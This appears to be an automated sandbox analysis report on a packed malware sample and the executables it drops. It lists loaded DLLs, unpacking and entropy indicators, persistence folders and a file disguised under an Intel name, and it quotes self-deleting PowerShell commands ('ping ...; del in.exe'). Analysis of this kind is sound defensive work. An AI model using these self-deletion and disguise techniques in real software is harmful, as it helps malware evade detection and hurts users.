Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Section loaded: winrnr.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Google\Chrome\Extensions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\graph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\graph\graph.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip

Source: file.exe

Static file information: File size 3289088 > 1048576

Source: file.exe

Static PE information: Raw size of jlvlbxwn is bigger than: 0x100000 < 0x2b7000

Source:	Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb% source: 6eea3e30e9.exe, 0000000C.00000003.2674626766.00000247A0680000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 0000000E.00000002.2987242704.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000000E.00000000.2674897514.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000000.2698018122.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000002.2986807118.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000002.2986951366.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000000.2766666306.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000002.2987477077.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000000.2848079975.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb source: 6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb[ source: 6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.2990887486.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, random[2].exe1.6.dr
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.2990887486.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, random[2].exe1.6.dr
Source:	Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb source: 6eea3e30e9.exe, 0000000C.00000003.2674626766.00000247A0680000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 0000000E.00000002.2987242704.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000000E.00000000.2674897514.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000000.2698018122.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000002.2986807118.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000002.2986951366.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000000.2766666306.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000002.2987477077.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000000.2848079975.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.360000.0.unpack :EW;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.360000.0.unpack :EW;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.360000.0.unpack :EW;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jlvlbxwn:EW;hiserdkf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Unpacked PE file: 7.2.0516ff61af.exe.ae0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wekcazbo:EW;ttllozcv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wekcazbo:EW;ttllozcv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Unpacked PE file: 45.2.1b73492cb0.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jxwvjkbl:EW;srccaxxk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jxwvjkbl:EW;srccaxxk:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: random[2].exe1.6.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: 1b73492cb0.exe.6.dr	Static PE information: real checksum: 0x453b96 should be: 0x44b967
Source: 6eea3e30e9.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: Intel_PTT_EK_Recertification.exe.29.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: ed15fdf974.exe.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: graph.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x46f82
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: Gxtuum.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: file.exe	Static PE information: real checksum: 0x3327da should be: 0x328505
Source: 0516ff61af.exe.6.dr	Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: 7z.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x3327da should be: 0x328505
Source: abcebc1047.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: 7z.dll.15.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: in.exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x453b96 should be: 0x44b967

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: jlvlbxwn
Source: file.exe	Static PE information: section name: hiserdkf
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: jlvlbxwn
Source: skotes.exe.0.dr	Static PE information: section name: hiserdkf
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: wekcazbo
Source: random[1].exe.6.dr	Static PE information: section name: ttllozcv
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 0516ff61af.exe.6.dr	Static PE information: section name:
Source: 0516ff61af.exe.6.dr	Static PE information: section name: .idata
Source: 0516ff61af.exe.6.dr	Static PE information: section name:
Source: 0516ff61af.exe.6.dr	Static PE information: section name: wekcazbo
Source: 0516ff61af.exe.6.dr	Static PE information: section name: ttllozcv
Source: 0516ff61af.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: jxwvjkbl
Source: random[2].exe.6.dr	Static PE information: section name: srccaxxk
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 1b73492cb0.exe.6.dr	Static PE information: section name:
Source: 1b73492cb0.exe.6.dr	Static PE information: section name: .idata
Source: 1b73492cb0.exe.6.dr	Static PE information: section name:
Source: 1b73492cb0.exe.6.dr	Static PE information: section name: jxwvjkbl
Source: 1b73492cb0.exe.6.dr	Static PE information: section name: srccaxxk
Source: 1b73492cb0.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name: .eh_fram
Source: ed15fdf974.exe.6.dr	Static PE information: section name: .eh_fram
Source: in.exe.27.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.29.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD91C push ecx; ret	0_2_00DBD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB1359 push es; ret	0_2_00DB135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0037D91C push ecx; ret	1_2_0037D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0037D91C push ecx; ret	2_2_0037D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003B00FB push es; ret	6_2_003B00FE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003B00F3 push es; ret	6_2_003B00F6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003B00F7 push es; ret	6_2_003B00FA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003B00EF push es; ret	6_2_003B00F2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0037D91C push ecx; ret	6_2_0037D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0039DEDB push ss; iretd	6_2_0039DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0037DFC6 push ecx; ret	6_2_0037DFD9
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0144755D push esp; retf	7_3_0144755E
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140F5C0 push esi; retf	7_3_0140F5C3
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140F5C0 push esi; retf	7_3_0140F5C3
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_01410DDA push ss; iretd	7_3_01410DF8
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_01410DDA push ss; iretd	7_3_01410DF8
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140CF99 push eax; iretd	7_3_0140CFA1
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140CF99 push eax; iretd	7_3_0140CFA1
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_014159B4 push esi; retf	7_3_014159B7
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_014159B4 push esi; retf	7_3_014159B7
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0141766C push esi; retf	7_3_0141766F
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0141766C push esi; retf	7_3_0141766F
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140ECC8 push edi; retf	7_3_0140ECC9
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140ECC8 push edi; retf	7_3_0140ECC9
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_01411EEA push ss; iretd	7_3_01411F08
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_01411EEA push ss; iretd	7_3_01411F08
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_013F1430 pushfd ; iretd	7_3_013F1435
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_013F079A pushad ; retf	7_3_013F07A5
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_013F48F7 push cs; iretd	7_3_013F48F8
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_013F0C74 push esp; retf	7_3_013F0C79
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140F5C0 push esi; retf	7_3_0140F5C3

Source: file.exe	Static PE information: section name: entropy: 7.041161231941029
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.041161231941029
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.980952558000639
Source: random[1].exe.6.dr	Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: 0516ff61af.exe.6.dr	Static PE information: section name: entropy: 7.980952558000639
Source: 0516ff61af.exe.6.dr	Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: random[2].exe.6.dr	Static PE information: section name: jxwvjkbl entropy: 7.95639104921717
Source: 1b73492cb0.exe.6.dr	Static PE information: section name: jxwvjkbl entropy: 7.95639104921717

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
